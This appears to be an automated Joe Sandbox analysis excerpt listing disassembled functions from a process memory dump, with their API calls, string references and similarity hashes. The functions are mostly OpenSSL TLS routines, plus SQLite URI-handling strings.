..\s\ssl\statem\extensions.c, xrefs: 00007FFE014007FC, 00007FFE014009A3, 00007FFE01400A0D, 00007FFE01400B00, 00007FFE01400B3D, 00007FFE01400BE3, 00007FFE01400CEE, 00007FFE01400D26, 00007FFE01400D5B, 00007FFE01400D95
tls_psk_do_binder, xrefs: 00007FFE014007F0, 00007FFE01400997, 00007FFE01400A01, 00007FFE01400AF4, 00007FFE01400B31, 00007FFE01400BD7, 00007FFE01400CE2, 00007FFE01400D1A, 00007FFE01400D4F, 00007FFE01400D89
ext binder, xrefs: 00007FFE0140087D

Memory Dump Source

Source File: 00000001.00000002.2152554925.00007FFE013B1000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FFE013B0000, based on PE: true

Associated: 00000001.00000002.2152498752.00007FFE013B0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152554925.00007FFE01433000.00000020.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152671744.00007FFE01435000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152725075.00007FFE0145D000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01462000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01468000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01470000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe013b0000_file.jbxd

Similarity

API ID: Digest$Init_exL_cleanseR_newR_set_debug$D_get_sizeFinal_exX_freeX_newY_free
String ID: ..\s\ssl\statem\extensions.c$HMAC$ext binder$res binder$tls_psk_do_binder
API String ID: 1272419997-82630564
Opcode ID: 58238ceef746ac873a5d7bc11b644e2536db9a539dc370310f2016953a86dad0
Instruction ID: 5d73a8be16675173bebed8622eaaba44bbee0e8f13441190456ba2332670eb46
Opcode Fuzzy Hash: 58238ceef746ac873a5d7bc11b644e2536db9a539dc370310f2016953a86dad0
Instruction Fuzzy Hash: C2F16E31A0CA8282E764ABA2E4517FE6351FF957C4F84003AEA4D4BAB6DF7CE5418741

Function 00007FFE013B1A23 Relevance: 43.9, APIs: 23, Strings: 2, Instructions: 176COMMON

Download Yara Rule

APIs

BN_dup.LIBCRYPTO-3 ref: 00007FFE013F32B6
BN_dup.LIBCRYPTO-3 ref: 00007FFE013F32D7
BN_dup.LIBCRYPTO-3 ref: 00007FFE013F32F8
BN_dup.LIBCRYPTO-3 ref: 00007FFE013F3319
BN_dup.LIBCRYPTO-3 ref: 00007FFE013F3336
BN_dup.LIBCRYPTO-3 ref: 00007FFE013F3353
BN_dup.LIBCRYPTO-3 ref: 00007FFE013F3370
BN_dup.LIBCRYPTO-3 ref: 00007FFE013F338D
CRYPTO_strdup.LIBCRYPTO-3 ref: 00007FFE013F33CA
CRYPTO_strdup.LIBCRYPTO-3 ref: 00007FFE013F3409
ERR_new.LIBCRYPTO-3 ref: 00007FFE013F3428
ERR_set_debug.LIBCRYPTO-3 ref: 00007FFE013F343D
ERR_set_error.LIBCRYPTO-3 ref: 00007FFE013F344C
CRYPTO_free.LIBCRYPTO-3 ref: 00007FFE013F3461
CRYPTO_free.LIBCRYPTO-3 ref: 00007FFE013F347A
BN_free.LIBCRYPTO-3 ref: 00007FFE013F3486
BN_free.LIBCRYPTO-3 ref: 00007FFE013F3492
BN_free.LIBCRYPTO-3 ref: 00007FFE013F349E
BN_free.LIBCRYPTO-3 ref: 00007FFE013F34AA
BN_free.LIBCRYPTO-3 ref: 00007FFE013F34B6
BN_free.LIBCRYPTO-3 ref: 00007FFE013F34C2
BN_free.LIBCRYPTO-3 ref: 00007FFE013F34CE
BN_free.LIBCRYPTO-3 ref: 00007FFE013F34DA

Strings

ssl_srp_ctx_init_intern, xrefs: 00007FFE013F342D
..\s\ssl\tls_srp.c, xrefs: 00007FFE013F33C3, 00007FFE013F3402, 00007FFE013F3436, 00007FFE013F3454, 00007FFE013F346D

Memory Dump Source

Source File: 00000001.00000002.2152554925.00007FFE013B1000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FFE013B0000, based on PE: true

Associated: 00000001.00000002.2152498752.00007FFE013B0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152554925.00007FFE01433000.00000020.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152671744.00007FFE01435000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152725075.00007FFE0145D000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01462000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01468000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01470000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe013b0000_file.jbxd

Similarity

API ID: N_dupN_free$O_freeO_strdup$R_newR_set_debugR_set_error
String ID: ..\s\ssl\tls_srp.c$ssl_srp_ctx_init_intern
API String ID: 2354240759-1794268454
Opcode ID: 7c6f5f71629c738828d3fb28ae6d14af1525a41dda9b56dd32a690e7e5b3c519
Instruction ID: 37671ba3848699172aba5b0bcdd2c84edfa28e6e1721c333362429a5ac841800
Opcode Fuzzy Hash: 7c6f5f71629c738828d3fb28ae6d14af1525a41dda9b56dd32a690e7e5b3c519
Instruction Fuzzy Hash: 94915C22E1ABC281EB85EB65D4907BC2350FF94B48F594639DA5C0F366DF2CE591C310

Function 00007FFE013B1A05 Relevance: 37.0, APIs: 19, Strings: 2, Instructions: 283COMMON

Download Yara Rule

APIs

ERR_new.LIBCRYPTO-3 ref: 00007FFE013C0ABD
ERR_set_debug.LIBCRYPTO-3 ref: 00007FFE013C0AD5
ERR_set_error.LIBCRYPTO-3 ref: 00007FFE013C0AE7
ASN1_item_free.LIBCRYPTO-3 ref: 00007FFE013C0AF6
ERR_new.LIBCRYPTO-3 ref: 00007FFE013C0B42
ERR_set_debug.LIBCRYPTO-3 ref: 00007FFE013C0B5A
ERR_new.LIBCRYPTO-3 ref: 00007FFE013C0B83
ERR_set_debug.LIBCRYPTO-3 ref: 00007FFE013C0B9B
memcpy.VCRUNTIME140 ref: 00007FFE013C0C05
memcpy.VCRUNTIME140 ref: 00007FFE013C0C3F
_time64.API-MS-WIN-CRT-TIME-L1-1-0 ref: 00007FFE013C0C5B
X509_free.LIBCRYPTO-3 ref: 00007FFE013C0C8E
memcpy.VCRUNTIME140 ref: 00007FFE013C0CC9
CRYPTO_free.LIBCRYPTO-3 ref: 00007FFE013C0D57
ERR_new.LIBCRYPTO-3 ref: 00007FFE013C0D9D
ERR_set_debug.LIBCRYPTO-3 ref: 00007FFE013C0DB5

Part of subcall function 00007FFE013C1620: CRYPTO_free.LIBCRYPTO-3(00000000,00007FFE013C0CF6), ref: 00007FFE013C164E
Part of subcall function 00007FFE013C1620: CRYPTO_strndup.LIBCRYPTO-3(00000000,00007FFE013C0CF6), ref: 00007FFE013C1671

CRYPTO_free.LIBCRYPTO-3 ref: 00007FFE013C0E20
CRYPTO_free.LIBCRYPTO-3 ref: 00007FFE013C0E89
ASN1_item_free.LIBCRYPTO-3 ref: 00007FFE013C0EDB

Strings

d2i_SSL_SESSION, xrefs: 00007FFE013C0AC2, 00007FFE013C0B47, 00007FFE013C0B88, 00007FFE013C0DA2
..\s\ssl\ssl_asn1.c, xrefs: 00007FFE013C0ACE, 00007FFE013C0B53, 00007FFE013C0B94, 00007FFE013C0D34, 00007FFE013C0DAE, 00007FFE013C0DFA, 00007FFE013C0E6F

Memory Dump Source

Source File: 00000001.00000002.2152554925.00007FFE013B1000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FFE013B0000, based on PE: true

Associated: 00000001.00000002.2152498752.00007FFE013B0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152554925.00007FFE01433000.00000020.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152671744.00007FFE01435000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152725075.00007FFE0145D000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01462000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01468000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01470000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe013b0000_file.jbxd

Similarity

API ID: O_freeR_newR_set_debug$memcpy$N1_item_free$O_strndupR_set_errorX509_free_time64
String ID: ..\s\ssl\ssl_asn1.c$d2i_SSL_SESSION
API String ID: 1562032665-384499812
Opcode ID: 2a5271567f02ba352d921ff3c4e2fac1e9ecca7785b90009fd4beffc7ef3d7b0
Instruction ID: ebce487030fa39ced74ef759a447f5cd78e09635029b44c7d5c84e8b587d1ca9
Opcode Fuzzy Hash: 2a5271567f02ba352d921ff3c4e2fac1e9ecca7785b90009fd4beffc7ef3d7b0
Instruction Fuzzy Hash: F5D12736A08B82D2EB589F25D5902BD63A4FB44B84F498036EE5D8B7B5DF3CE561C310

Function 00007FFE013B2185 Relevance: 28.2, APIs: 13, Strings: 3, Instructions: 178COMMON

Download Yara Rule

APIs

ERR_new.LIBCRYPTO-3 ref: 00007FFE01402A71
ERR_set_debug.LIBCRYPTO-3 ref: 00007FFE01402A89
ERR_new.LIBCRYPTO-3 ref: 00007FFE01402ABE
ERR_set_debug.LIBCRYPTO-3 ref: 00007FFE01402AD6
EVP_PKEY_get1_encoded_public_key.LIBCRYPTO-3 ref: 00007FFE01402B29
CRYPTO_free.LIBCRYPTO-3 ref: 00007FFE01402B94
ERR_new.LIBCRYPTO-3 ref: 00007FFE01402BBB
ERR_new.LIBCRYPTO-3 ref: 00007FFE01402BDB
ERR_set_debug.LIBCRYPTO-3 ref: 00007FFE01402BF0
EVP_PKEY_free.LIBCRYPTO-3 ref: 00007FFE01402C15
CRYPTO_free.LIBCRYPTO-3 ref: 00007FFE01402C2C
ERR_new.LIBCRYPTO-3 ref: 00007FFE01402C36
ERR_set_debug.LIBCRYPTO-3 ref: 00007FFE01402C4E

Strings

tls_construct_ctos_key_share, xrefs: 00007FFE01402A76, 00007FFE01402BC0, 00007FFE01402C3B
..\s\ssl\statem\extensions_clnt.c, xrefs: 00007FFE01402A82, 00007FFE01402ACF, 00007FFE01402B79, 00007FFE01402BE9, 00007FFE01402C1F, 00007FFE01402C47
add_key_share, xrefs: 00007FFE01402AC3, 00007FFE01402BE0

Memory Dump Source

Source File: 00000001.00000002.2152554925.00007FFE013B1000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FFE013B0000, based on PE: true

Associated: 00000001.00000002.2152498752.00007FFE013B0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152554925.00007FFE01433000.00000020.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152671744.00007FFE01435000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152725075.00007FFE0145D000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01462000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01468000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01470000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe013b0000_file.jbxd

Similarity

API ID: R_new$R_set_debug$O_free$Y_freeY_get1_encoded_public_key
String ID: ..\s\ssl\statem\extensions_clnt.c$add_key_share$tls_construct_ctos_key_share
API String ID: 2910640537-2776458525
Opcode ID: d0641521a8085f99a510304bc130ac0297c1851443fc4ba5da5bcaeed058df4f
Instruction ID: 01b6b56ab244892d26a96e6e0cc78da4ba6b679659c1de0eb564a0e3861b0b36
Opcode Fuzzy Hash: d0641521a8085f99a510304bc130ac0297c1851443fc4ba5da5bcaeed058df4f
Instruction Fuzzy Hash: 2F716121B1CA8242FB60AB92E5957BE5251EF85780F440035EE4D4FBF6DE7CE9818700

Function 00007FFE013FE200 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 171COMMON

Download Yara Rule

APIs

CRYPTO_free.LIBCRYPTO-3 ref: 00007FFE013FE2E1
CRYPTO_strdup.LIBCRYPTO-3 ref: 00007FFE013FE2FA
ERR_new.LIBCRYPTO-3 ref: 00007FFE013FE328
ERR_set_debug.LIBCRYPTO-3 ref: 00007FFE013FE340
CRYPTO_free.LIBCRYPTO-3 ref: 00007FFE013FE3FA
ERR_new.LIBCRYPTO-3 ref: 00007FFE013FE423
ERR_new.LIBCRYPTO-3 ref: 00007FFE013FE432
ERR_new.LIBCRYPTO-3 ref: 00007FFE013FE4C5
ERR_set_debug.LIBCRYPTO-3 ref: 00007FFE013FE4DD

Strings

final_server_name, xrefs: 00007FFE013FE32D, 00007FFE013FE45F, 00007FFE013FE4CF
p, xrefs: 00007FFE013FE220
..\s\ssl\statem\extensions.c, xrefs: 00007FFE013FE2CD, 00007FFE013FE2ED, 00007FFE013FE339, 00007FFE013FE3ED, 00007FFE013FE46B, 00007FFE013FE4D6

Memory Dump Source

Source File: 00000001.00000002.2152554925.00007FFE013B1000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FFE013B0000, based on PE: true

Associated: 00000001.00000002.2152498752.00007FFE013B0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152554925.00007FFE01433000.00000020.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152671744.00007FFE01435000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152725075.00007FFE0145D000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01462000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01468000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01470000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe013b0000_file.jbxd

Similarity

API ID: R_new$O_freeR_set_debug$O_strdup
String ID: ..\s\ssl\statem\extensions.c$final_server_name$p
API String ID: 3774429508-428839542
Opcode ID: 9e64b608d775b9010f6cff3dbd6e499e1a58d160e7b9a1ac54ba7b3ab65b9f98
Instruction ID: 7a5b97ab73e667c3ca72c1e76fa36308f8dbe6c60df4ea7c8a4cf2cca471659b
Opcode Fuzzy Hash: 9e64b608d775b9010f6cff3dbd6e499e1a58d160e7b9a1ac54ba7b3ab65b9f98
Instruction Fuzzy Hash: 0C818E32E09A8286EB91AB55D4807BD2391FB94B84F4A003ADE1D6F7F5DF7CE5818341

Function 00007FFE013B19DD Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 110COMMON

Download Yara Rule

APIs

BN_copy.LIBCRYPTO-3 ref: 00007FFE013F2189
BN_free.LIBCRYPTO-3 ref: 00007FFE013F219A
BN_dup.LIBCRYPTO-3 ref: 00007FFE013F21AB
BN_copy.LIBCRYPTO-3 ref: 00007FFE013F21CB
BN_free.LIBCRYPTO-3 ref: 00007FFE013F21DC
BN_dup.LIBCRYPTO-3 ref: 00007FFE013F21ED
BN_copy.LIBCRYPTO-3 ref: 00007FFE013F220D
BN_free.LIBCRYPTO-3 ref: 00007FFE013F221E
BN_dup.LIBCRYPTO-3 ref: 00007FFE013F222F
BN_copy.LIBCRYPTO-3 ref: 00007FFE013F2257
BN_free.LIBCRYPTO-3 ref: 00007FFE013F2268
CRYPTO_free.LIBCRYPTO-3 ref: 00007FFE013F22A5
CRYPTO_strdup.LIBCRYPTO-3 ref: 00007FFE013F22BA

Strings

..\s\ssl\tls_srp.c, xrefs: 00007FFE013F229E, 00007FFE013F22B0

Memory Dump Source

Source File: 00000001.00000002.2152554925.00007FFE013B1000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FFE013B0000, based on PE: true

Associated: 00000001.00000002.2152498752.00007FFE013B0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152554925.00007FFE01433000.00000020.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152671744.00007FFE01435000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152725075.00007FFE0145D000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01462000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01468000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01470000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe013b0000_file.jbxd

Similarity

API ID: N_copyN_free$N_dup$O_freeO_strdup
String ID: ..\s\ssl\tls_srp.c
API String ID: 3070725730-1778748169
Opcode ID: 5de455a0e33419aeed79645b2a849e8fb5092a76a7a5c4db12254346f5210564
Instruction ID: cd7ee31ed69b5f4667882ef8c2ca9aa557941c8691606bcddc50bfcd0a110158
Opcode Fuzzy Hash: 5de455a0e33419aeed79645b2a849e8fb5092a76a7a5c4db12254346f5210564
Instruction Fuzzy Hash: 22417F25A1AAC3C0FB94AF6594507BD2290EF51F84F5A0238DE5D0F7BADF2CE4428211

Function 00007FFE013BD227 Relevance: 22.8, APIs: 11, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

CRYPTO_free.LIBCRYPTO-3 ref: 00007FFE013BD244
CRYPTO_strdup.LIBCRYPTO-3 ref: 00007FFE013BD299
ERR_new.LIBCRYPTO-3 ref: 00007FFE013BD2AE
ERR_set_debug.LIBCRYPTO-3 ref: 00007FFE013BD2C6
ERR_set_error.LIBCRYPTO-3 ref: 00007FFE013BD2D8
ERR_new.LIBCRYPTO-3 ref: 00007FFE013BD2E4
ERR_set_debug.LIBCRYPTO-3 ref: 00007FFE013BD2FC
ERR_set_error.LIBCRYPTO-3 ref: 00007FFE013BD30E
ERR_new.LIBCRYPTO-3 ref: 00007FFE013BD317
ERR_set_debug.LIBCRYPTO-3 ref: 00007FFE013BD32F
ERR_set_error.LIBCRYPTO-3 ref: 00007FFE013BD341

Strings

..\s\ssl\s3_lib.c, xrefs: 00007FFE013BD237, 00007FFE013BD28F, 00007FFE013BD2BF, 00007FFE013BD2F5, 00007FFE013BD328
ssl3_ctrl, xrefs: 00007FFE013BD2B3, 00007FFE013BD2E9, 00007FFE013BD31C

Memory Dump Source

Source File: 00000001.00000002.2152554925.00007FFE013B1000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FFE013B0000, based on PE: true

Associated: 00000001.00000002.2152498752.00007FFE013B0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152554925.00007FFE01433000.00000020.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152671744.00007FFE01435000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152725075.00007FFE0145D000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01462000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01468000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01470000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe013b0000_file.jbxd

Similarity

API ID: R_newR_set_debugR_set_error$O_freeO_strdup
String ID: ..\s\ssl\s3_lib.c$ssl3_ctrl
API String ID: 1111623124-3079590724
Opcode ID: bed18761291e679dd52b274b826cdce6e90e6c115db5cb7577cda9c2fc5f6551
Instruction ID: 9c097870d638f08a2b82bf5da8722c3bbc40452adad46e5cff0dbc693ad7b58b
Opcode Fuzzy Hash: bed18761291e679dd52b274b826cdce6e90e6c115db5cb7577cda9c2fc5f6551
Instruction Fuzzy Hash: 60315954F1DA8286FB50ABD4D8507FC6210AF95754FD60432DA4D4FAF2EE3CE8828612

Function 00007FFE013B120D Relevance: 22.8, APIs: 12, Strings: 1, Instructions: 66COMMON

Download Yara Rule

APIs

EVP_PKEY_free.LIBCRYPTO-3 ref: 00007FFE013BE736
EVP_PKEY_free.LIBCRYPTO-3 ref: 00007FFE013BE74D
CRYPTO_free.LIBCRYPTO-3 ref: 00007FFE013BE789
OPENSSL_sk_pop_free.LIBCRYPTO-3 ref: 00007FFE013BE79C
CRYPTO_free.LIBCRYPTO-3 ref: 00007FFE013BE7B5
CRYPTO_clear_free.LIBCRYPTO-3 ref: 00007FFE013BE7D5
CRYPTO_free.LIBCRYPTO-3 ref: 00007FFE013BE7EE
CRYPTO_free.LIBCRYPTO-3 ref: 00007FFE013BE807
CRYPTO_free.LIBCRYPTO-3 ref: 00007FFE013BE828
CRYPTO_free.LIBCRYPTO-3 ref: 00007FFE013BE841
CRYPTO_free.LIBCRYPTO-3 ref: 00007FFE013BE85A
memset.VCRUNTIME140 ref: 00007FFE013BE876

Strings

..\s\ssl\s3_lib.c, xrefs: 00007FFE013BE77C, 00007FFE013BE7A8, 00007FFE013BE7C1, 00007FFE013BE7E1, 00007FFE013BE7FA, 00007FFE013BE81B, 00007FFE013BE834, 00007FFE013BE84D

Memory Dump Source

Source File: 00000001.00000002.2152554925.00007FFE013B1000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FFE013B0000, based on PE: true

Associated: 00000001.00000002.2152498752.00007FFE013B0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152554925.00007FFE01433000.00000020.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152671744.00007FFE01435000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152725075.00007FFE0145D000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01462000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01468000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01470000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe013b0000_file.jbxd

Similarity

API ID: O_free$Y_free$L_sk_pop_freeO_clear_freememset
String ID: ..\s\ssl\s3_lib.c
API String ID: 4031674668-4238427508
Opcode ID: 356398fc8a42625d6fb9b76345896d3ed4a48e3a258aacd5a86a9cb8835ad42a
Instruction ID: 1221003bfb94f75ad11b84f2e5af374c410aa205f71182cb9fc68663263d9564
Opcode Fuzzy Hash: 356398fc8a42625d6fb9b76345896d3ed4a48e3a258aacd5a86a9cb8835ad42a
Instruction Fuzzy Hash: A9310265F0864750EB40AFA2E4617FC2311AF95B88FC55432DE4D8F2B6DF6CE1858322

Function 00007FFDFF2542B0 Relevance: 21.5, APIs: 2, Strings: 12, Instructions: 452COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140 ref: 00007FFDFF254732
memcpy.VCRUNTIME140 ref: 00007FFDFF254834

Strings

no such vfs: %s, xrefs: 00007FFDFF2548E4
%s mode not allowed: %s, xrefs: 00007FFDFF2547EE
no such %s mode: %s, xrefs: 00007FFDFF25475E
cach, xrefs: 00007FFDFF2547B0
file, xrefs: 00007FFDFF25432B
access, xrefs: 00007FFDFF2546F5
mode, xrefs: 00007FFDFF254791
invalid uri authority: %.*s, xrefs: 00007FFDFF254437
cache, xrefs: 00007FFDFF2546CB
cach, xrefs: 00007FFDFF25461F
localhos, xrefs: 00007FFDFF25440E
mode, xrefs: 00007FFDFF25460E

Memory Dump Source

Source File: 00000001.00000002.2151713884.00007FFDFF191000.00000020.00000001.01000000.00000015.sdmp, Offset: 00007FFDFF190000, based on PE: true

Associated: 00000001.00000002.2151670753.00007FFDFF190000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000001.00000002.2151849876.00007FFDFF2C4000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000001.00000002.2151909940.00007FFDFF2F3000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000001.00000002.2151957042.00007FFDFF2F8000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdff190000_file.jbxd

Similarity

API ID: memcmpmemcpy
String ID: %s mode not allowed: %s$access$cach$cach$cache$file$invalid uri authority: %.*s$localhos$mode$mode$no such %s mode: %s$no such vfs: %s
API String ID: 1784268899-1067337024
Opcode ID: ea5b30896b8f601e2c558708f0cff121e52ec114d766bdc7e5f30d61455f35fa
Instruction ID: 8d0ba16c3d14d9dabb5401c5a0438948d6318cc5c4ad1e1c40960a0ae5dc7140
Opcode Fuzzy Hash: ea5b30896b8f601e2c558708f0cff121e52ec114d766bdc7e5f30d61455f35fa
Instruction Fuzzy Hash: 9A022462F0C28285FB658B1494B4B79AB91AB52B9CF1C4335CA7EC76CDDE3DE8418701

Function 00007FFE013B2144 Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 146COMMON

Download Yara Rule

Strings

..\s\ssl\t1_enc.c, xrefs: 00007FFE013E30D0, 00007FFE013E30F8
, xrefs: 00007FFE013E3183
, xrefs: 00007FFE013E3198
tls1_setup_key_block, xrefs: 00007FFE013E30EC
key expansion, xrefs: 00007FFE013E3191

Memory Dump Source

Source File: 00000001.00000002.2152554925.00007FFE013B1000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FFE013B0000, based on PE: true

Associated: 00000001.00000002.2152498752.00007FFE013B0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152554925.00007FFE01433000.00000020.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152671744.00007FFE01435000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152725075.00007FFE0145D000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01462000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01468000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01470000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe013b0000_file.jbxd

Similarity

API ID:
String ID: $ $..\s\ssl\t1_enc.c$key expansion$tls1_setup_key_block
API String ID: 0-3969574974
Opcode ID: b911d0fe777a06a5e835cf9bab26422bb3d06a54a7aebec81fb3189e547e26ff
Instruction ID: 602c10039c5817136310a163ff3a5c14c9134c9f75523e44540fa3ae23f84e2c
Opcode Fuzzy Hash: b911d0fe777a06a5e835cf9bab26422bb3d06a54a7aebec81fb3189e547e26ff
Instruction Fuzzy Hash: 12614932A09B8182EB609F15E4403ED73A5FB94B84F490136DA8D4BBA9DF7DD585CB10

Function 00007FFE013B1893 Relevance: 19.3, APIs: 9, Strings: 2, Instructions: 84COMMON

Download Yara Rule

APIs

ERR_new.LIBCRYPTO-3 ref: 00007FFE014069BE
ERR_set_debug.LIBCRYPTO-3 ref: 00007FFE014069D6
ERR_new.LIBCRYPTO-3 ref: 00007FFE01406A00
ERR_set_debug.LIBCRYPTO-3 ref: 00007FFE01406A18

Strings

tls_parse_stoc_server_name, xrefs: 00007FFE014069C3, 00007FFE01406A05, 00007FFE01406A5E, 00007FFE01406ACA
..\s\ssl\statem\extensions_clnt.c, xrefs: 00007FFE014069CF, 00007FFE01406A11, 00007FFE01406A6A, 00007FFE01406A9A, 00007FFE01406AD6

Memory Dump Source

Source File: 00000001.00000002.2152554925.00007FFE013B1000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FFE013B0000, based on PE: true

Associated: 00000001.00000002.2152498752.00007FFE013B0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152554925.00007FFE01433000.00000020.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152671744.00007FFE01435000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152725075.00007FFE0145D000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01462000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01468000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01470000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe013b0000_file.jbxd

Similarity

API ID: R_newR_set_debug
String ID: ..\s\ssl\statem\extensions_clnt.c$tls_parse_stoc_server_name
API String ID: 193678381-2697319676
Opcode ID: 08420c5e031d7227765b236b4b450e1a03c042d27d1d3e22068f488af869d6ff
Instruction ID: 17a4a0b34d68c5e1367b2a622296eae6e51e23d5c1f74633f41d849cf34c8da9
Opcode Fuzzy Hash: 08420c5e031d7227765b236b4b450e1a03c042d27d1d3e22068f488af869d6ff
Instruction Fuzzy Hash: B3314A22F1998342F750A7A2E8A17FA1251EF95744F881039E90D4E6F2DF6CAAD18B50

Function 00007FFE01301950 Relevance: 13.9, APIs: 9, Instructions: 431COMMON

Download Yara Rule

APIs

